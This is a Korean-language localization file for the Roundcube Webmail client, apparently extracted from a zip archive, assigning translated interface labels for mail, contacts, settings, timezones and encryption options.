$labels['tz:indian:antananarivo'] = '안타나나리보';
$labels['tz:indian:chagos'] = '차고스';
$labels['tz:indian:christmas'] = '크리스마스';
$labels['tz:indian:cocos'] = '코코스';
$labels['tz:indian:comoro'] = '코모로';
$labels['tz:indian:kerguelen'] = '케르겔렌';
$labels['tz:indian:mahe'] = '마헤';
$labels['tz:indian:maldives'] = '몰디브';
$labels['tz:indian:mauritius'] = '모리셔스';
$labels['tz:indian:mayotte'] = '마요트';
$labels['tz:indian:reunion'] = '레위니옹';
$labels['tz:pacific'] = '태평양';
$labels['tz:pacific:apia'] = '아피아';
$labels['tz:pacific:auckland'] = '오클랜드';
$labels['tz:pacific:bougainville'] = '부겐빌';
$labels['tz:pacific:chatham'] = '채텀';
$labels['tz:pacific:chuuk'] = '축';
$labels['tz:pacific:easter'] = '이스터';
$labels['tz:pacific:efate'] = '에파테';
$labels['tz:pacific:enderbury'] = '엔더버리';
$labels['tz:pacific:fakaofo'] = '파카오포';
$labels['tz:pacific:fiji'] = '피지';
$labels['tz:pacific:funafuti'] = '푸나푸티';
$labels['tz:pacific:galapagos'] = '갈라파고스';
$labels['tz:pacific:gambier'] = '갬비어';
$labels['tz:pacific:guadalcanal'] = '과달카날';
$labels['tz:pacific:guam'] = '괌';
$labels['tz:pacific:honolulu'] = '호놀룰루';
$labels['tz:pacific:johnston'] = '존스톤';
$labels['tz:pacific:kiritimati'] = '키리티마티';
$labels['tz:pacific:kosrae'] = '코스라에';
$labels['tz:pacific:kwajalein'] = '콰잘렌';
$labels['tz:pacific:majuro'] = '마주로';
$labels['tz:pacific:marquesas'] = '마르키즈';
$labels['tz:pacific:midway'] = '미드웨이';
$labels['tz:pacific:nauru'] = '나우루';
$labels['tz:pacific:niue'] = '니우에';
$labels['tz:pacific:norfolk'] = '노퍽';
$labels['tz:pacific:noumea'] = '누메아';
$labels['tz:pacific:pago_pago'] = '파고파고';
$labels['tz:pacific:palau'] = '팔라우';
$labels['tz:pacific:pitcairn'] = '핏케언';
$labels['tz:pacific:pohnpei'] = '폰페이';
$labels['tz:pacific:port_moresby'] = '포트모레스비';
$labels['tz:pacific:rarotonga'] = '라로통가';
$labels['tz:pacific:saipan'] = '사이판';
$labels['tz:pacific:tahiti'] = '타히티';
$labels['tz:pacific:tarawa'] = '타라와';
$labels['tz:pacific:tongatapu'] = '통가타푸';
$labels['tz:pacific:wake'] = '웨이크';
$labels['tz:pacific:wallis'] = '월리스';
PK
h�\��Ǒ���%program/localization/ko_KR/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = '$product에 오신 것을 환영합니다';
$labels['username'] = '사용자명';
$labels['password'] = '암호';
$labels['server'] = '서버';
$labels['login'] = '로그인';
$labels['oauthlogin'] = '$provider(으)로 로그인';
$labels['menu'] = '메뉴';
$labels['logout'] = '로그아웃';
$labels['mail'] = '메일';
$labels['settings'] = '설정';
$labels['addressbook'] = '주소록';
$labels['darkmode'] = '다크 모드';
$labels['lightmode'] = '라이트 모드';
$labels['inbox'] = '받은 편지함';
$labels['drafts'] = '임시 보관함';
$labels['sent'] = '보낸 편지함';
$labels['trash'] = '지운 편지함';
$labels['junk'] = '스팸 편지함';
$labels['show_real_foldernames'] = '특수 폴더에서 실제 명칭 표시';
$labels['subject'] = '제목';
$labels['from'] = '보낸 사람';
$labels['sender'] = '보내는 사람';
$labels['to'] = '받는 사람';
$labels['cc'] = '참조';
$labels['bcc'] = '숨은 참조';
$labels['replyto'] = '회신 주소';
$labels['followupto'] = '전달';
$labels['date'] = '날짜';
$labels['size'] = '크기';
$labels['priority'] = '우선 순위';
$labels['organization'] = '조직';
$labels['readstatus'] = '읽음 상태';
$labels['listoptions'] = '목록 옵션...';
$labels['listoptionstitle'] = '목록 옵션';
$labels['mailboxlist'] = '폴더';
$labels['messagesfromto'] = '총 $count개 중 $from 번째부터 $to 번째까지의 메시지';
$labels['threadsfromto'] = '총 $count개 중 $from 번째부터 $to 번째까지의 대화';
$labels['messagenrof'] = '총 $count개 중  $nr 번째 메시지';
$labels['fromtoshort'] = '총 $count개 중 $from 번째 - $to 번째';
$labels['copy'] = '복사';
$labels['move'] = '이동';
$labels['moveto'] = '다음 위치로 이동...';
$labels['copyto'] = '다음 위치로 복사...';
$labels['download'] = '다운로드';
$labels['open'] = '열기';
$labels['showattachment'] = '보기';
$labels['showanyway'] = '그래도 표시';
$labels['filename'] = '파일명';
$labels['filesize'] = '파일 크기';
$labels['addtoaddressbook'] = '주소록에 추가';
$labels['sun'] = '일';
$labels['mon'] = '월';
$labels['tue'] = '화';
$labels['wed'] = '수';
$labels['thu'] = '목';
$labels['fri'] = '금';
$labels['sat'] = '토';
$labels['sunday'] = '일요일';
$labels['monday'] = '월요일';
$labels['tuesday'] = '화요일';
$labels['wednesday'] = '수요일';
$labels['thursday'] = '목요일';
$labels['friday'] = '금요일';
$labels['saturday'] = '토요일';
$labels['jan'] = '1월';
$labels['feb'] = '2월';
$labels['mar'] = '3월';
$labels['apr'] = '4월';
$labels['may'] = '5월';
$labels['jun'] = '6월';
$labels['jul'] = '7월';
$labels['aug'] = '8월';
$labels['sep'] = '9월';
$labels['oct'] = '10월';
$labels['nov'] = '11월';
$labels['dec'] = '12월';
$labels['longjan'] = '1월';
$labels['longfeb'] = '2월';
$labels['longmar'] = '3월';
$labels['longapr'] = '4월';
$labels['longmay'] = '5월';
$labels['longjun'] = '6월';
$labels['longjul'] = '7월';
$labels['longaug'] = '8월';
$labels['longsep'] = '9월';
$labels['longoct'] = '10월';
$labels['longnov'] = '11월';
$labels['longdec'] = '12월';
$labels['today'] = '오늘';
$labels['refresh'] = '새로고침';
$labels['checkmail'] = '새 메시지 확인';
$labels['compose'] = '쓰기';
$labels['writenewmessage'] = '새 메시지 만들기';
$labels['reply'] = '회신';
$labels['replytomessage'] = '보낸 사람에게 회신';
$labels['replytoallmessage'] = '목록 또는 보낸 사람 및 모든 받는 사람에게 회신';
$labels['replyall'] = '전체 회신';
$labels['replylist'] = '회신 목록';
$labels['forward'] = '전달';
$labels['forwardinline'] = '본문 내용으로 전달';
$labels['forwardattachment'] = '첨부파일로 전달';
$labels['forwardmessage'] = '메시지 전달';
$labels['bouncemsg'] = '재전송 (반송)';
$labels['bounce'] = '재전송';
$labels['deletemessage'] = '메시지 삭제';
$labels['movemessagetotrash'] = '메시지를 지운 편지함으로 이동';
$labels['printmessage'] = '이 메시지 인쇄';
$labels['previousmessage'] = '이전 메시지 표시';
$labels['firstmessage'] = '처음 메시지 표시';
$labels['nextmessage'] = '다음 메시지 표시';
$labels['lastmessage'] = '마지막 메시지 표시';
$labels['backtolist'] = '메시지 목록으로 돌아가기';
$labels['viewsource'] = '소스 표시';
$labels['mark'] = '표시';
$labels['markmessages'] = '메시지 표시';
$labels['markread'] = '읽은 상태로 표시';
$labels['markunread'] = '읽지 않은 상태로 표시';
$labels['markflagged'] = '플래그 추가 상태';
$labels['markunflagged'] = '플래그 제거 상태';
$labels['markundeleted'] = '삭제안함으로';
$labels['moreactions'] = '추가 동작...';
$labels['markallread'] = '모두 읽은 상태로 표시';
$labels['folders-cur'] = '선택한 폴더에만 적용';
$labels['folders-sub'] = '선택한 폴더 및 하위 폴더에만 적용';
$labels['folders-all'] = '모든 폴더에 적용';
$labels['more'] = '더 보기';
$labels['back'] = '뒤로';
$labels['options'] = '옵션';
$labels['composeoptions'] = '쓰기 옵션';
$labels['optionsandattachments'] = '옵션 및 첨부파일';
$labels['actions'] = '동작';
$labels['first'] = '처음';
$labels['last'] = '마지막';
$labels['previous'] = '이전';
$labels['next'] = '다음';
$labels['select'] = '선택';
$labels['selection'] = '선택';
$labels['all'] = '모두';
$labels['none'] = '없음';
$labels['currpage'] = '현재 페이지';
$labels['isread'] = '읽음';
$labels['unread'] = '읽지 않음';
$labels['flagged'] = '플래그 지정';
$labels['unflagged'] = '플래그 없음';
$labels['unanswered'] = '답변하지 않음';
$labels['withattachment'] = '첨부파일을 포함';
$labels['deleted'] = '삭제됨';
$labels['undeleted'] = '삭제되지 않음';
$labels['replied'] = '회신함';
$labels['forwarded'] = '전달함';
$labels['invert'] = '반전';
$labels['filter'] = '필터';
$labels['list'] = '목록';
$labels['threads'] = '대화';
$labels['expand-all'] = '모두 펼치기';
$labels['expand-unread'] = '읽지 않은 상태의 메시지 펼치기';
$labels['collapse-all'] = '모두 접기';
$labels['threaded'] = '대화형';
$labels['showunread'] = '읽지 않은 메시지 표시';
$labels['autoexpand_threads'] = '메시지 대화 펼치기';
$labels['do_expand'] = '모든 대화';
$labels['expand_only_unread'] = '읽지 않은 상태의 메시지에만 적용';
$labels['fromto'] = '보내는 사람/받는 사람';
$labels['flag'] = '플래그 있음';
$labels['attachment'] = '첨부파일';
$labels['nonesort'] = '없음';
$labels['sentdate'] = '보낸 날짜';
$labels['arrival'] = '받은 날짜';
$labels['asc'] = '오름차순';
$labels['desc'] = '내림차순';
$labels['listcolumns'] = '열 목록 표시';
$labels['listsorting'] = '열 정렬 기준';
$labels['listorder'] = '정렬 순서';
$labels['listmode'] = '목록 화면 모드 ';
$labels['lmode'] = '목록 모드';
$labels['layout'] = '레이아웃';
$labels['layoutwidescreen'] = '와이드스크린';
$labels['layoutdesktop'] = '데스크탑';
$labels['layoutlist'] = '목록';
$labels['layoutwidescreendesc'] = '와이드스크린 (3열 화면)';
$labels['layoutdesktopdesc'] = '데스크탑 (와이드 목록 및 하단 메일 미리보기)';
$labels['layoutlistdesc'] = '목록 (메일 미리보기 없음)';
$labels['folderactions'] = '폴더 동작...';
$labels['compact'] = '압축';
$labels['empty'] = '비우기';
$labels['importmessages'] = '메시지 가져오기';
$labels['mailimportdesc'] = '<a href="https://en.wikipedia.org/wiki/Email#Message_format">MIME</a> 또는 <a href="https://en.wikipedia.org/wiki/Mbox">Mbox</a> 형식의 파일로 메일을 업로드할 수 있습니다.';
$labels['mailimportzip'] = '여러 개 파일을 ZIP 압축 파일로 압축할 수 있습니다.';
$labels['quota'] = '디스크 사용량';
$labels['unknown'] = '알 수 없음';
$labels['unlimited'] = '무제한';
$labels['quotatype'] = '용량 제한 유형';
$labels['quotatotal'] = '제한 용량';
$labels['quotaused'] = '사용 용량';
$labels['quotastorage'] = '디스크 공간';
$labels['quotamessage'] = '메시지 개수';
$labels['shortheaderdate'] = '날짜: $date';
$labels['shortheaderto'] = '받는 사람: $to, 날짜: $date';
$labels['shortheaderfrom'] = '보낸 사람: $from, 날짜: $date';
$labels['quicksearch'] = '빠른 검색';
$labels['searchplaceholder'] = '검색...';
$labels['resetsearch'] = '검색 초기화';
$labels['searchmod'] = '수정자 검색';
$labels['msgtext'] = '전체 메시지';
$labels['body'] = '본문';
$labels['type'] = '유형';
$labels['namex'] = '이름';
$labels['searchscope'] = '범위';
$labels['currentfolder'] = '현재 폴더';
$labels['subfolders'] = '이 폴더 및 하위 폴더';
$labels['allfolders'] = '모든 폴더';
$labels['searchinterval-1W'] = '일주일 이전';
$labels['searchinterval-1M'] = '한 달 이전';
$labels['searchinterval-1Y'] = '일 년 이전';
$labels['searchinterval1W'] = '일주일 이후';
$labels['searchinterval1M'] = '한 달 이후';
$labels['searchinterval1Y'] = '일 년 이후';
$labels['openinextwin'] = '새 창에서 열기';
$labels['emlsave'] = '다운로드 (.eml)';
$labels['changeformattext'] = '메시지를 평문 형식으로 표시';
$labels['changeformathtml'] = 'HTML 형식으로 표시';
$labels['editasnew'] = '새 메시지로 편집';
$labels['send'] = '보내기';
$labels['sendmessage'] = '메일 보내기';
$labels['savemessage'] = '임시 보관함에 저장';
$labels['addattachment'] = '파일 첨부';
$labels['charset'] = '인코딩';
$labels['editortype'] = '편집기 유형';
$labels['returnreceipt'] = '읽음 확인';
$labels['dsn'] = '전송 상태 알림';
$labels['keepformatting'] = '계속 편집하기';
$labels['mailreplyintro'] = '$date에 $sender이(가) 쓴 내용:';
$labels['originalmessage'] = '원본 메시지';
$labels['selectimage'] = '이미지 선택';
$labels['addimage'] = '이미지 추가';
$labels['selectmedia'] = '동영상 선택';
$labels['addmedia'] = '동영상 추가';
$labels['encrypt'] = '암호화';
$labels['encryptmessage'] = '메시지 암호화';
$labels['encryptmessagemailvelope'] = 'Mailvelope으로 메시지 암호화';
$labels['importpubkeys'] = '공개 키 가져오기';
$labels['encryptedsendialog'] = '암호화 메시지 보내기';
$labels['encryptandsign'] = '암호화 및 서명';
$labels['keyid'] = '키 ID';
$labels['keylength'] = '비트';
$labels['keyexpired'] = '만료됨';
$labels['keyrevoked'] = '해지됨';
$labels['bccinstead'] = 'Bcc 사용';
$labels['addheader'] = '받는 사람 추가 (헤더)';
$labels['insert'] = '삽입';
$labels['insertcontact'] = '연락처 삽입';
$labels['recipient'] = '받는 사람';
$labels['recipientedit'] = '받는 사람 편집';
$labels['editidents'] = '신원 편집';
$labels['spellcheck'] = '맞춤법';
$labels['checkspelling'] = '맞춤법 검사';
$labels['resumeediting'] = '이어서 편집';
$labels['revertto'] = '돌아가기';
$labels['restore'] = '복구';
$labels['restoremessage'] = '메시지를 복구할까요?';
$labels['ignore'] = '무시';
$labels['responses'] = '응답';
$labels['insertresponse'] = '응답 삽입';
$labels['manageresponses'] = '응답 관리';
$labels['newresponse'] = '새 응답 만들기';
$labels['addresponse'] = '응답 추가';
$labels['editresponse'] = '응답 편집';
$labels['editresponses'] = '응답 편집';
$labels['responsename'] = '이름';
$labels['responsetext'] = '응답 문구';
$labels['attach'] = '첨부';
$labels['attachments'] = '첨부파일';
$labels['upload'] = '업로드';
$labels['uploadprogress'] = '$percent ($total 중 $current)';
$labels['close'] = '닫기';
$labels['messageoptions'] = '메시지 옵션...';
$labels['togglecomposeoptions'] = '구성 옵션 표시/숨기기';
$labels['attachmentrename'] = '첨부파일명 바꾸기';
$labels['low'] = '낮음';
$labels['lowest'] = '가장 낮음';
$labels['normal'] = '보통';
$labels['high'] = '높음';
$labels['highest'] = '가장 높음';
$labels['nosubject'] = '(제목 없음)';
$labels['showimages'] = '이미지 표시';
$labels['allow'] = '허용';
$labels['alwaysshow'] = '$sender이(가) 보낸 이미지 항상 표시';
$labels['alwaysallow'] = '$sender이(가) 보낸 메시지 항상 허용';
$labels['isdraft'] = '이것은 작성 중인 메시지입니다.';
$labels['andnmore'] = '$nr 더 보기...';
$labels['details'] = '세부사항';
$labels['summary'] = '요약';
$labels['headers'] = '헤더';
$labels['allheaders'] = '전체 헤더...';
$labels['togglemoreheaders'] = '메시지 헤더 더 보기';
$labels['togglefullheaders'] = '원본 메시지 헤더 표시/숨기기';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = '평문';
$labels['savesentmessagein'] = '보낸 메시지를 다음 위치에 저장';
$labels['dontsave'] = '저장하지 않음';
$labels['maxuploadsize'] = '최대 허용 파일 크기는 $size 입니다';
$labels['addcc'] = '참조 추가';
$labels['addbcc'] = '숨은 참조 추가';
$labels['addreplyto'] = '회신 주소 추가';
$labels['addfollowupto'] = '전달 추가';
$labels['sendreceipt'] = '읽음 확인 요청을 보낼까요?';
$labels['mdnrequest'] = '이 메시지를 보낸 사람이 사용자가 이 메시지를 읽었을 때 읽음 확인을 요청했습니다. 보낸 사람에게 알리시겠습니까?';
$labels['receiptread'] = '읽음 확인 (수신)';
$labels['yourmessage'] = '이것은 사용자의 메시지에 대한 읽음 확인입니다.';
$labels['receiptnote'] = '참고: 이 읽음 확인은 이 메시지가 받는 사람의 컴퓨터에 표시되었다는 것만을 의미합니다. 받는 사람이 해당 메시지 내용을 읽었거나 이해했다는 보장은 없습니다.';
$labels['sendalwaysto'] = '항상 $email(으)로 보내기';
$labels['zoomin'] = '확대';
$labels['zoomout'] = '축소';
$labels['rotate'] = '회전';
$labels['increaseimage'] = '이미지 크기 증가';
$labels['decreaseimage'] = '이미지 크기 감소';
$labels['rotateimage'] = '이미지 회전';
$labels['showtools'] = '이미지 도구 표시';
$labels['hidetools'] = '이미지 도구 숨기기';
$labels['name'] = '표시명';
$labels['firstname'] = '이름';
$labels['surname'] = '성';
$labels['middlename'] = '중간 이름';
$labels['nameprefix'] = '접두사';
$labels['namesuffix'] = '접미사';
$labels['nickname'] = '별칭';
$labels['jobtitle'] = '직책';
$labels['department'] = '부서';
$labels['gender'] = '성별';
$labels['maidenname'] = '결혼 전의 성';
$labels['email'] = '이메일';
$labels['phone'] = '전화';
$labels['address'] = '주소';
$labels['street'] = '도로명';
$labels['locality'] = '시/구/군';
$labels['zipcode'] = '우편번호';
$labels['region'] = '시/도';
$labels['country'] = '국가';
$labels['birthday'] = '생년월일';
$labels['anniversary'] = '기념일';
$labels['website'] = '웹사이트';
$labels['instantmessenger'] = '인스턴트 메신저';
$labels['notes'] = '메모';
$labels['male'] = '남성';
$labels['female'] = '여성';
$labels['manager'] = '상사';
$labels['assistant'] = '비서';
$labels['spouse'] = '배우자';
$labels['allfields'] = '모든 필드';
$labels['search'] = '검색';
$labels['searchresult'] = '검색 결과';
$labels['advsearch'] = '고급 검색';
$labels['advanced'] = '고급';
$labels['other'] = '기타';
$labels['printcontact'] = '연락처 인쇄';
$labels['qrcode'] = 'QR 코드';
$labels['typehome'] = '자택';
$labels['typework'] = '직장';
$labels['typeother'] = '기타';
$labels['typemobile'] = '휴대전화';
$labels['typemain'] = '기본';
$labels['typehomefax'] = '자택 팩스';
$labels['typeworkfax'] = '직장 팩스';
$labels['typecar'] = '차량';
$labels['typepager'] = '호출기';
$labels['typevideo'] = '동영상';
$labels['typeassistant'] = '비서';
$labels['typehomepage'] = '홈페이지';
$labels['typeblog'] = '블로그';
$labels['typeprofile'] = '자기소개';
$labels['addfield'] = '필드 추가..';
$labels['addcontact'] = '연락처 추가';
$labels['editcontact'] = '연락처 편집';
$labels['contacts'] = '연락처';
$labels['contactproperties'] = '연락처 속성';
$labels['contactnameandorg'] = '상호 및 조직';
$labels['personalinfo'] = '개인 정보';
$labels['personal'] = '개인';
$labels['contactphoto'] = '연락처 사진';
$labels['edit'] = '편집';
$labels['cancel'] = '취소';
$labels['save'] = '저장';
$labels['delete'] = '삭제';
$labels['discard'] = '폐기';
$labels['continue'] = '계속';
$labels['ok'] = '확인';
$labels['rename'] = '이름 바꾸기';
$labels['addphoto'] = '추가';
$labels['replacephoto'] = '변경';
$labels['uploadphoto'] = '사진 업로드';
$labels['choosefile'] = '파일 선택...';
$labels['choosefiles'] = '파일 선택...';
$labels['browse'] = '찾아보기';
$labels['newcontact'] = '새 연락처 만들기';
$labels['deletecontact'] = '선택한 연락처 삭제';
$labels['composeto'] = '메일 쓰기 대상';
$labels['contactsfromto'] = '총 $count개의 연락처 중 $from 번째부터 $to 번째 까지';
$labels['print'] = '인쇄';
$labels['export'] = '내보내기';
$labels['exportall'] = '모두 내보내기';
$labels['exportsel'] = '선택한 항목 내보내기';
$labels['exportvcards'] = '연락처를 vCard 형식으로 내보내기';
$labels['newgroup'] = '새 그룹 만들기';
$labels['addgroup'] = '그룹 추가';
$labels['grouprename'] = '그룹명 바꾸기';
$labels['groupdelete'] = '그룹 삭제';
$labels['groupassign'] = '그룹 지정...';
$labels['groupremove'] = '그룹에서 제거';
$labels['groupremoveselected'] = '선택한 연락처를 그룹에서 제거';
$labels['uponelevel'] = '한 단계 상위 이동';
$labels['previouspage'] = '이전 페이지 보기';
$labels['firstpage'] = '처음 페이지 보기';
$labels['nextpage'] = '다음 페이지 보기';
$labels['lastpage'] = '마지막 페이지 보기';
$labels['group'] = '그룹';
$labels['groups'] = '그룹';
$labels['listgroup'] = '그룹 구성원 목록 표시';
$labels['personaladrbook'] = '개인 주소';
$labels['searchsave'] = '검색 저장';
$labels['searchdelete'] = '검색 삭제';
$labels['import'] = '가져오기';
$labels['importcontacts'] = '연락처 가져오기';
$labels['importfromfile'] = '파일에서 가져오기';
$labels['importtarget'] = '연락처를 추가할 위치';
$labels['importreplace'] = '전체 주소록을 바꾸기';
$labels['importgroups'] = '그룹 할당 가져오기';
$labels['importgroupsall'] = '전체 (필요에 따라 그룹 생성)';
$labels['importgroupsexisting'] = '기존 그룹에만 해당';
$labels['importdesc'] = '기존 주소록에서 연락처를 가져올 수 있습니다.<br/> 현재 <a href="https://en.wikipedia.org/wiki/VCard">vCard</a> 및 CSV (콤마-구분) 데이터 형식에서 주소 가져오기를 지원합니다.';
$labels['importmapdesc'] = 'CSV(쉼표 구분) 데이터를 가져오기를 진행하기 전에 아래 필드 맵핑 정보가 정확한지 확인하십시오.';
$labels['fieldnotmapped'] = '필드가 매핑되지 않음 (가져오지 않음)';
$labels['skipheader'] = '첫 번째 행 (헤더) 가져오지 않음';
$labels['done'] = '완료';
$labels['settingsfor'] = '설정';
$labels['about'] = '정보...';
$labels['preferences'] = '환경설정';
$labels['userpreferences'] = '사용자 환경설정';
$labels['editpreferences'] = '사용자 환경설정 편집';
$labels['identities'] = '신원';
$labels['manageidentities'] = '신원 관리';
$labels['newidentity'] = '새 신원 만들기';
$labels['addidentity'] = '신원 추가';
$labels['editidentity'] = '신원 편집';
$labels['identityencryption'] = '암호화';
$labels['preferhtml'] = 'HTML 표시';
$labels['defaultcharset'] = '기본 인코딩';
$labels['htmlmessage'] = 'HTML 메시지';
$labels['messagepart'] = '부분';
$labels['digitalsig'] = '디지털 서명';
$labels['dateformat'] = '날짜 형식';
$labels['timeformat'] = '시간 형식';
$labels['prettydate'] = '요일 및 시간으로 날짜 표시';
$labels['setdefault'] = '기본 값으로 설정';
$labels['autodetect'] = '자동';
$labels['language'] = '언어';
$labels['timezone'] = '시간대';
$labels['pagesize'] = '페이지당 행 개수';
$labels['signature'] = '서명';
$labels['dstactive'] = '일광 절약 시간';
$labels['showinextwin'] = '메시지를 새 창에서 열기';
$labels['composeextwin'] = '새 창에서 쓰기';
$labels['htmleditor'] = 'HTML 메시지 쓰기';
$labels['htmlonreply'] = 'HTML 메시지 회신 시';
$labels['htmlonreplyandforward'] = '전달 또는 HTML 메시지 회신 시';
$labels['htmlsignature'] = 'HTML 서명';
$labels['showemail'] = '이메일 주소를 표시명과 함께 표시';
$labels['previewpane'] = '미리보기 창 표시';
$labels['skin'] = '인터페이스 스킨';
$labels['logoutclear'] = '로그아웃 할 때 지운 편지함 비우기';
$labels['logoutcompact'] = '로그아웃 할 때 받은 편지함 압축';
$labels['uisettings'] = '사용자 인터페이스';
$labels['serversettings'] = '서버 설정';
$labels['mailboxview'] = '편지함 화면';
$labels['mdnrequests'] = '읽음 확인 요청 시';
$labels['askuser'] = '사용자에게 물음';
$labels['autosend'] = '읽음 확인 요청';
$labels['autosendknown'] = '내 연락처에 읽음 확인을 요청하고, 내 연락처가 아닐 경우 물어봄';
$labels['autosendknownignore'] = '내 연락처에 읽음 확인을 요청하고, 내 연락처가 아닐 경우 무시함';
$labels['autosendtrusted'] = '읽음 확인 요청을 신뢰하는 연락처에게 보내기, 아닐 경우 묻기';
$labels['autosendtrustedignore'] = '읽음 확인 요청을 신뢰하는 연락처에게 보내기, 아닐 경우 무시하기';
$labels['ignorerequest'] = '요청 무시';
$labels['readwhendeleted'] = '삭제 시 메시지를 읽은 상태로 표시';
$labels['flagfordeletion'] = '삭제 대신 삭제 대상 메시지에 플래그 추가';
$labels['skipdeleted'] = '삭제된 메시지를 표시하지 않음';
$labels['deletealways'] = '지운 편지함으로 메시지 이동이 실패할 경우 삭제';
$labels['deletejunk'] = '스팸 메일함에 있는 메시지를 직접 삭제';
$labels['showremoteimages'] = '본문에 원격 이미지 표시';
$labels['allowremoteresources'] = '외부 리소스 허용 (이미지, 스타일)';
$labels['fromknownsenders'] = '알려진 사람으로부터 받은 메시지만';
$labels['fromtrustedsenders'] = '신뢰하는 연락처로부터';
$labels['frommycontacts'] = '내 연락처에서';
$labels['always'] = '항상';
$labels['alwaysbutplain'] = '항상, 단 평문으로 회신할 때는 예외';
$labels['showinlineimages'] = '메시지 하단에 첨부 이미지 표시';
$labels['autosavedraft'] = '작성 중인 메시지 자동 저장';
$labels['everynminutes'] = '$n분 마다';
$labels['refreshinterval'] = '새로고침 (새 메시지 확인 등)';
$labels['never'] = '하지 않음';
$labels['immediately'] = '즉시';
$labels['messagesdisplaying'] = '메시지 표시';
$labels['messagescomposition'] = '메시지 작성';
$labels['mimeparamfolding'] = '첨부파일명';
$labels['2231folding'] = 'Full RFC 2231 (썬더버드)';
$labels['miscfolding'] = 'RFC 2047/2231 (MS 아웃룩)';
$labels['2047folding'] = 'Full RFC 2047 (기타)';
$labels['force7bit'] = '8-bit 문자에 MIME 인코딩 사용';
$labels['savelocalstorage'] = "브라우저의 로컬 저장소에 저장 (임시)";
$labels['advancedoptions'] = '고급 옵션';
$labels['toggleadvancedoptions'] = '고급 옵션 표시/숨기기';
$labels['focusonnewmessage'] = '새 메시지가 있을 경우 브라우저 창으로 포커스 이동';
$labels['checkallfolders'] = '모든 폴더에서 새 메시지 확인';
$labels['displaynext'] = '삭제/이동 후 다음 항목 표시';
$labels['defaultfont'] = 'HTML 메시지의 기본 글꼴';
$labels['mainoptions'] = '기본 옵션';
$labels['browseroptions'] = '브라우저 옵션';
$labels['section'] = '섹션';
$labels['maintenance'] = '유지관리';
$labels['newmessage'] = '새 메시지';
$labels['signatureoptions'] = '서명 옵션';
$labels['whenreplying'] = '회신 시';
$labels['replyempty'] = '원문 메시지를 인용하지 않음';
$labels['replytopposting'] = '새 메시지를 인용문 상단에서 시작';
$labels['replytoppostingnoindent'] = '새 메시지를 인용문 상단에서 시작 (들여쓰기 없음)';
$labels['replybottomposting'] = '새 메시지를 인용문 하단에서 시작';
$labels['replyremovesignature'] = '회신 시 메시지에서 원문 서명을 제거';
$labels['autoaddsignature'] = '서명 자동 추가';
$labels['newmessageonly'] = '새 메시지에만';
$labels['replyandforwardonly'] = '회신 및 전달 메시지에만';
$labels['insertsignature'] = '서명 삽입';
$labels['sigbelow'] = '인용한 메시지 아래에 서명 표시';
$labels['sigseparator'] = '서명에 표준 분리자 강제 적용';
$labels['automarkread'] = '메시지를 읽은 상태로 표시';
$labels['afternseconds'] = '$n초 후';
$labels['reqmdn'] = '읽음 확인을 항상 요청';
$labels['reqdsn'] = '전송 상태 알림을 항상 요청';
$labels['replysamefolder'] = ' 회신 메시지를 회신 대상 메시지의 폴더로 이동';
$labels['defaultabook'] = '기본 주소록';
$labels['autocompletesingle'] = '자동 완성에서 대체 이메일 주소를 건너뜀';
$labels['listnamedisplay'] = '연락처 정렬 방식';
$labels['contactformmode'] = '연락처 양식 모드';
$labels['privatemode'] = '개인 (집)';
$labels['businessmode'] = '직장 (회사)';
$labels['collectedaddresses'] = '수집된 주소';
$labels['collectedrecipients'] = '수집된 수신자';
$labels['collectedrecipientsopt'] = '발송 이메일의 수신인을 저장할 위치';
$labels['collectedsendersopt'] = '신뢰하는 연락처 저장 위치';
$labels['trustedsenders'] = '신뢰하는 연락처';
$labels['spellcheckbeforesend'] = '메시지를 보내기 전에 맞춤법 검사';
$labels['spellcheckoptions'] = '맞춤법 검사 옵션';
$labels['spellcheckignoresyms'] = '기호가 포함된 단어 무시';
$labels['spellcheckignorenums'] = '숫자가 포함된 단어 무시';
$labels['spellcheckignorecaps'] = '모두 대문자로 표기된 단어 무시';
$labels['addtodict'] = '사전에 추가';
$labels['mailtoprotohandler'] = 'mailto: 링크의 프로토콜 처리자 등록';
$labels['standardwindows'] = '팝업을 일반 창같이 취급';
$labels['forwardmode'] = '메시지 전달 방식';
$labels['inline'] = '본문 내용';
$labels['asattachment'] = '첨부파일';
$labels['replyallmode'] = '[전체 회신] 버튼의 기본 동작';
$labels['replyalldefault'] = '전체 회신';
$labels['replyalllist'] = '발송 목록에만 회신 (찾았을 경우)';
$labels['allmessages'] = '모든 메시지';
$labels['olderxdays'] = '$x일 이전';
$labels['folder'] = '폴더';
$labels['folders'] = '폴더';
$labels['foldername'] = '폴더명';
$labels['subscribed'] = '구독함';
$labels['messagecount'] = '메시지';
$labels['create'] = '추가';
$labels['createfolder'] = '새 폴더 만들기';
$labels['managefolders'] = '폴더 관리';
$labels['specialfolders'] = '특수 폴더';
$labels['properties'] = '속성';
$labels['folderproperties'] = '폴더 속성';
$labels['parentfolder'] = '상위 폴더';
$labels['location'] = '위치';
$labels['info'] = '정보';
$labels['getfoldersize'] = '폴더 크기를 확인하려면 클릭';
$labels['changesubscription'] = '구독을 변경하려면 클릭';
$labels['foldertype'] = '폴더 유형';
$labels['personalfolder'] = '개인 폴더';
$labels['otherfolder'] = '다른 사용자의 폴더';
$labels['sharedfolder'] = '공개 폴더';
$labels['findfolders'] = '폴더 찾기';
$labels['findcontacts'] = '연락처 검색';
$labels['findmail'] = '메일 메시지 검색';
$labels['namespace.personal'] = '개인';
$labels['namespace.other'] = '기타 사용자';
$labels['namespace.shared'] = '공유됨';
$labels['dualuselabel'] = '다음 항목만 담기:';
$labels['dualusemail'] = '메시지';
$labels['dualusefolder'] = '폴더';
$labels['generate'] = '생성';
$labels['encryptioncreatekey'] = '새 키 페어 만들기';
$labels['openmailvelopesettings'] = 'Mailvelope 설정 열기';
$labels['encryptionprivkeysinmailvelope'] = 'Mailvelope 열쇠고리에 저장된 개인 키 중 $nr개의 일치하는 키가 있습니다:';
$labels['encryptionnoprivkeysinmailvelope'] = '현재 보내는 사람 신원에는 Mailvelope 확장에 보관된 PGP 개인 키가 없습니다. 암호화된 메시지를 사용하기 위해 키를 하나 만드시겠습니까?';
$labels['encryption'] = '암호화';
